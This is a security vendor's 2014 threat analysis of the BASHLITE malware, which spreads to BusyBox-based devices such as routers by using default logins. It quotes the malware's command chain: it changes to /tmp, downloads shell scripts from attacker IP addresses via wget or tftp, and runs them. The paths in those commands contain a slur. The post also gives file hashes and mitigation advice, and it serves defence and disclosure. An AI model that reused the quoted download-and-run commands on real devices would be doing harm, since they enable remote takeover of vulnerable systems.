BASHLITE Affects Devices Running on BusyBox

blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/

November 13, 2014

Exploits & Vulnerabilities

By: Trend Micro November 13, 2014 Read time: (words)

Content added to Folio

When news of the Shellshock vulnerability broke out at the end of September, we spotted several attacks that leveraged the said vulnerability, thus manifesting the prevalence or even evolution on how attackers used the exploit. For instance, attackers used Shellshock to target SMTP servers, launch botnet attacks, and even to download KAITEN source code among others. We have continuously monitored this vulnerability and on our latest research, we observed that recent samples of BASHLITE (detected by Trend Micro as ELF_BASHLITE.SMB) scans the network for devices/machines running on BusyBox, and logs in using a set of usernames and passwords (see figure 4 below). Once a connection is established, it runs the command to download and run *bin.sh* and *bin2.sh* scripts, gaining control over the Busybox system. BusyBox is built on top of the Linux kernel and used by small devices such as routers. Remote attackers can possibly maximize their control on affected devices by deploying other components or malicious software into the system depending on their motive. This is seen in the following commands:

> cd /tmp busybox wget http://69[.]163[.]37[.]115/.niggers/bin.sh busybox tftp -r bin.sh -g 69[.1]63[.]37[.]115 sh bin.sh echo -e '\\x62\\x69\\x6e\\x66\\x61\\x67\\x74'\r\n cd /tmp/ busybox wget http://176[.]10[.]250[.]37/.niggers/bin2.sh busybox tftp -r bin2.sh -g 176[.]10[.]250[.]37 sh bin2.sh echo -e '\\x62\\x69\\x6e\\x66\\x61\\x67\\x74'\r\n

This means that the malware can do the following commands on the affected devices:

1. Change to the temporary folder where generally there is file write access
2. Download a remote file, depending on whether the shell script is hosted via HTTP or TFTP. There is 'fail-safe' mechanism to achieve its download routine. This means that if in the first command, it doesn't execute any file, it will try again to connect to the URL and download the file.
3. Run the downloaded shell script.
4. Perform previous "fingerprinting" routine, to check if the device runs on BusyBox.

Figure 1. Code snippets of BASHLITE downloading files via BusyBox

The previous BASHLITE sample (detected as ELF_BASHLITE.A) used BusyBox just to echo the string '*gayfgt*' if the remote malicious user invokes the command SCANNER ON:

Figure 2. Scanner mode 'ON'

Figure 3. Code snippet of ELF_BASHLITE.A where the string, 'gayfgt' is represented in octal form

This is done to check if the device runs BusyBox, however it does not execute any commands (unlike the new samples). BASHLITE attempts to log into the remote systems by using the default set of usernames and passwords:

Figure 4. Set of usernames and passwords

User Impact and Countermeasures Devices running on BusyBox can be possibly affected by BASHLITE. As such, a remote attacker can issue commands or download other files on the devices thus compromising its security. Since the initial discovery of Shellshock vulnerability, Trend Micro has provided protection via Deep Security rules and Smart Protection Network that detects the exploit and all related malware payload. We strongly advised users to change the default usernames and passwords and disable remote shell if possible to these devices. For more information on Shellshock vulnerability, you can read our Summary of Shellshock-Related Stories and Materials. Users can also get free protection from Shellshock via these tools. The following hashes are related to this threat:

- ffaa3c714ae82f954089f49828dac795327bf26e
- e51ad7cc8de05dc7991e591ee2f4eb53b8f05ae4
- 82e47cdbedeef6812ea84549ffc2f385a03e57de

- fd5c0f7575e6aa1f9cea5bb3977d6e037bfe6421

With additional insights from Joseph Cepe